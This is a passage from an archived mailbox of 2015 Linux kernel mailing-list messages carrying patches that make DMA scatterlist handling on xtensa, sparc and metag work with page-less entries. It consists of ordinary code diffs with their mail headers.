	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 09:13:25 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPQE1-0008N7-9R
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 09:13:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934295AbbHLHNP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 03:13:15 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53320 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965308AbbHLHJz (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 03:09:55 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAX-0001r4-57; Wed, 12 Aug 2015 07:09:49 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2018394 gmane.linux.kernel.cross-arch:28857 gmane.linux.ports.alpha:3298 gmane.linux.ports.ia64:25697 gmane.linux.kernel.metag:608 gmane.linux.ports.mips.general:49952 gmane.linux.ports.parisc:25924 gmane.linux.ports.ppc64.devel:116749 gmane.linux.ports.sparc:21403 gmane.linux.drivers.video-input-infrastructure:93947
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2018394>

Make all cache invalidation conditional on sg_has_page().

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/xtensa/include/asm/dma-mapping.h | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 1f5f6dc..262a1d1 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -61,10 +61,9 @@ dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	BUG_ON(direction == DMA_NONE);
 
 	for_each_sg(sglist, sg, nents, i) {
-		BUG_ON(!sg_page(sg));
-
 		sg->dma_address = sg_phys(sg);
-		consistent_sync(sg_virt(sg), sg->length, direction);
+		if (sg_has_page(sg))
+			consistent_sync(sg_virt(sg), sg->length, direction);
 	}
 
 	return nents;
@@ -131,8 +130,10 @@ dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nelems,
 	int i;
 	struct scatterlist *sg;
 
-	for_each_sg(sglist, sg, nelems, i)
-		consistent_sync(sg_virt(sg), sg->length, dir);
+	for_each_sg(sglist, sg, nelems, i) {
+		if (sg_has_page(sg))
+			consistent_sync(sg_virt(sg), sg->length, dir);
+	}
 }
 
 static inline void
@@ -142,8 +143,10 @@ dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
 	int i;
 	struct scatterlist *sg;
 
-	for_each_sg(sglist, sg, nelems, i)
-		consistent_sync(sg_virt(sg), sg->length, dir);
+	for_each_sg(sglist, sg, nelems, i) {
+		if (sg_has_page(sg))
+			consistent_sync(sg_virt(sg), sg->length, dir);
+	}
 }
 static inline int
 dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-- 
1.9.1


From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 13/31] sparc/ldc: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:32 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <1439363150-8661-14-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363615 29615 80.91.229.3 (12 Aug 2015 07:13:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:13:35 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:13:25 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQE0-0008N6-SZ
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:13:24 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37846 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011049AbbHLHNXQtzdj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:13:23 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:13:06 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34968 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011611AbbHLHJXi87xj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:23 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9z-0001es-RX; Wed, 12 Aug 2015 07:09:16 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48789
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49953 gmane.linux.kernel:2018395 gmane.linux.kernel.cross-arch:28858 gmane.linux.ports.alpha:3299 gmane.linux.ports.ia64:25698 gmane.linux.kernel.metag:609 gmane.linux.ports.parisc:25925 gmane.linux.ports.ppc64.devel:116750 gmane.linux.ports.sparc:21404 gmane.linux.drivers.video-input-infrastructure:93948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49953>

Use

    sg_phys(sg) & PAGE_MASK

instead of

    page_to_pfn(sg_page(sg)) << PAGE_SHIFT

to get at the page-aligned physical address ofa SG entry, so that
we don't require a page backing for SG entries.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sparc/kernel/ldc.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/sparc/kernel/ldc.c b/arch/sparc/kernel/ldc.c
index 1ae5eb1..0a29974 100644
--- a/arch/sparc/kernel/ldc.c
+++ b/arch/sparc/kernel/ldc.c
@@ -2051,7 +2051,7 @@ static void fill_cookies(struct cookie_state *sp, unsigned long pa,
 
 static int sg_count_one(struct scatterlist *sg)
 {
-	unsigned long base = page_to_pfn(sg_page(sg)) << PAGE_SHIFT;
+	unsigned long base = sg_phys(sg) & PAGE_MASK;
 	long len = sg->length;
 
 	if ((sg->offset | len) & (8UL - 1))
@@ -2114,7 +2114,7 @@ int ldc_map_sg(struct ldc_channel *lp,
 	state.nc = 0;
 
 	for_each_sg(sg, s, num_sg, i) {
-		fill_cookies(&state, page_to_pfn(sg_page(s)) << PAGE_SHIFT,
+		fill_cookies(&state, sg_phys(s) & PAGE_MASK,
 			     s->offset, s->length);
 	}
 
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 14/31] sparc32/io-unit: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:33 +0200
Lines: 91
Approved: news@gmane.org
Message-ID: <1439363150-8661-15-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363631 29755 80.91.229.3 (12 Aug 2015 07:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:13:51 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:13:48 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQEI-00009J-7Q
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:13:42 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37964 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011137AbbHLHNkWNAUj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:13:40 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:13:25 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34982 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011534AbbHLHJZpkLhj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:25 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQA2-0001fS-MW; Wed, 12 Aug 2015 07:09:19 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48790
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49954 gmane.linux.kernel:2018396 gmane.linux.kernel.cross-arch:28859 gmane.linux.ports.alpha:3300 gmane.linux.ports.ia64:25699 gmane.linux.kernel.metag:610 gmane.linux.ports.parisc:25926 gmane.linux.ports.ppc64.devel:116751 gmane.linux.ports.sparc:21405 gmane.linux.drivers.video-input-infrastructure:93949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49954>

For the iommu offset we just need and offset into the page.  Calculate
that using the physical address instead of using the virtual address
so that we don't require a virtual mapping.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sparc/mm/io-unit.c | 23 ++++++++++++-----------
 1 file changed, 12 insertions(+), 11 deletions(-)

diff --git a/arch/sparc/mm/io-unit.c b/arch/sparc/mm/io-unit.c
index f311bf2..82f97ae 100644
--- a/arch/sparc/mm/io-unit.c
+++ b/arch/sparc/mm/io-unit.c
@@ -91,13 +91,14 @@ static int __init iounit_init(void)
 subsys_initcall(iounit_init);
 
 /* One has to hold iounit->lock to call this */
-static unsigned long iounit_get_area(struct iounit_struct *iounit, unsigned long vaddr, int size)
+static dma_addr_t iounit_get_area(struct iounit_struct *iounit,
+		unsigned long paddr, int size)
 {
 	int i, j, k, npages;
-	unsigned long rotor, scan, limit;
+	unsigned long rotor, scan, limit, dma_addr;
 	iopte_t iopte;
 
-        npages = ((vaddr & ~PAGE_MASK) + size + (PAGE_SIZE-1)) >> PAGE_SHIFT;
+        npages = ((paddr & ~PAGE_MASK) + size + (PAGE_SIZE-1)) >> PAGE_SHIFT;
 
 	/* A tiny bit of magic ingredience :) */
 	switch (npages) {
@@ -106,7 +107,7 @@ static unsigned long iounit_get_area(struct iounit_struct *iounit, unsigned long
 	default: i = 0x0213; break;
 	}
 	
-	IOD(("iounit_get_area(%08lx,%d[%d])=", vaddr, size, npages));
+	IOD(("iounit_get_area(%08lx,%d[%d])=", paddr, size, npages));
 	
 next:	j = (i & 15);
 	rotor = iounit->rotor[j - 1];
@@ -121,7 +122,7 @@ nexti:	scan = find_next_zero_bit(iounit->bmap, limit, scan);
 		}
 		i >>= 4;
 		if (!(i & 15))
-			panic("iounit_get_area: Couldn't find free iopte slots for (%08lx,%d)\n", vaddr, size);
+			panic("iounit_get_area: Couldn't find free iopte slots for (%08lx,%d)\n", paddr, size);
 		goto next;
 	}
 	for (k = 1, scan++; k < npages; k++)
@@ -129,14 +130,14 @@ nexti:	scan = find_next_zero_bit(iounit->bmap, limit, scan);
 			goto nexti;
 	iounit->rotor[j - 1] = (scan < limit) ? scan : iounit->limit[j - 1];
 	scan -= npages;
-	iopte = MKIOPTE(__pa(vaddr & PAGE_MASK));
-	vaddr = IOUNIT_DMA_BASE + (scan << PAGE_SHIFT) + (vaddr & ~PAGE_MASK);
+	iopte = MKIOPTE(paddr & PAGE_MASK);
+	dma_addr = IOUNIT_DMA_BASE + (scan << PAGE_SHIFT) + (paddr & ~PAGE_MASK);
 	for (k = 0; k < npages; k++, iopte = __iopte(iopte_val(iopte) + 0x100), scan++) {
 		set_bit(scan, iounit->bmap);
 		sbus_writel(iopte, &iounit->page_table[scan]);
 	}
-	IOD(("%08lx\n", vaddr));
-	return vaddr;
+	IOD(("%08lx\n", dma_addr));
+	return dma_addr;
 }
 
 static __u32 iounit_get_scsi_one(struct device *dev, char *vaddr, unsigned long len)
@@ -145,7 +146,7 @@ static __u32 iounit_get_scsi_one(struct device *dev, char *vaddr, unsigned long
 	unsigned long ret, flags;
 	
 	spin_lock_irqsave(&iounit->lock, flags);
-	ret = iounit_get_area(iounit, (unsigned long)vaddr, len);
+	ret = iounit_get_area(iounit, virt_to_phys(vaddr), len);
 	spin_unlock_irqrestore(&iounit->lock, flags);
 	return ret;
 }
@@ -159,7 +160,7 @@ static void iounit_get_scsi_sgl(struct device *dev, struct scatterlist *sg, int
 	spin_lock_irqsave(&iounit->lock, flags);
 	while (sz != 0) {
 		--sz;
-		sg->dma_address = iounit_get_area(iounit, (unsigned long) sg_virt(sg), sg->length);
+		sg->dma_address = iounit_get_area(iounit, sg_phys(sg), sg->length);
 		sg->dma_length = sg->length;
 		sg = sg_next(sg);
 	}
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 22/31] metag: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:41 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <1439363150-8661-23-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363641 29876 80.91.229.3 (12 Aug 2015 07:14:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:14:01 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 12 09:13:55 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPQEU-0000HX-R0
	for glpp-linux-parisc@plane.gmane.org; Wed, 12 Aug 2015 09:13:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934313AbbHLHNx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Aug 2015 03:13:53 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53276 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965273AbbHLHJt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Aug 2015 03:09:49 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAR-0001oh-FH; Wed, 12 Aug 2015 07:09:43 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25927 gmane.linux.kernel:2018397 gmane.linux.kernel.cross-arch:28860 gmane.linux.ports.alpha:3301 gmane.linux.ports.ia64:25700 gmane.linux.kernel.metag:611 gmane.linux.ports.mips.general:49955 gmane.linux.ports.ppc64.devel:116752 gmane.linux.ports.sparc:21406 gmane.linux.drivers.video-input-infrastructure:93950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25927>

Make all cache invalidation conditional on sg_has_page().

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/metag/include/asm/dma-mapping.h | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/arch/metag/include/asm/dma-mapping.h b/arch/metag/include/asm/dma-mapping.h
index eb5cdec..2ae9057 100644
--- a/arch/metag/include/asm/dma-mapping.h
+++ b/arch/metag/include/asm/dma-mapping.h
@@ -55,10 +55,9 @@ dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	WARN_ON(nents == 0 || sglist[0].length == 0);
 
 	for_each_sg(sglist, sg, nents, i) {
-		BUG_ON(!sg_page(sg));
-
 		sg->dma_address = sg_phys(sg);
-		dma_sync_for_device(sg_virt(sg), sg->length, direction);
+		if (sg_has_page(sg))
+			dma_sync_for_device(sg_virt(sg), sg->length, direction);
 	}
 
 	return nents;
@@ -94,10 +93,9 @@ dma_unmap_sg(struct device *dev, struct scatterlist *sglist, int nhwentries,
 	WARN_ON(nhwentries == 0 || sglist[0].length == 0);
 
 	for_each_sg(sglist, sg, nhwentries, i) {
-		BUG_ON(!sg_page(sg));
-
 		sg->dma_address = sg_phys(sg);
-		dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
+		if (sg_has_page(sg))
+			dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
 	}
 }
 
@@ -140,8 +138,10 @@ dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nelems,
 	int i;
 	struct scatterlist *sg;
 
-	for_each_sg(sglist, sg, nelems, i)
-		dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
+	for_each_sg(sglist, sg, nelems, i) {
+		if (sg_has_page(sg))
+			dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
+	}
 }
 
 static inline void
@@ -151,8 +151,10 @@ dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
 	int i;
 	struct scatterlist *sg;
 
-	for_each_sg(sglist, sg, nelems, i)
-		dma_sync_for_device(sg_virt(sg), sg->length, direction);
+	for_each_sg(sglist, sg, nelems, i) {
+		if (sg_has_page(sg))
+			dma_sync_for_device(sg_virt(sg), sg->length, direction);
+	}
 }
 
 static inline int
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 16/31] s390: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:35 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <1439363150-8661-17-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363667 30469 80.91.229.3 (12 Aug 2015 07:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:14:27 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:14:19 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQEs-0000YG-Id
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:14:18 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:38185 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011534AbbHLHOQIMfRj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:14:16 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:13:59 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:35022 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27012011AbbHLHJb1B-pj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:31 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQA8-0001hl-Ek; Wed, 12 Aug 2015 07:09:24 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48792
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
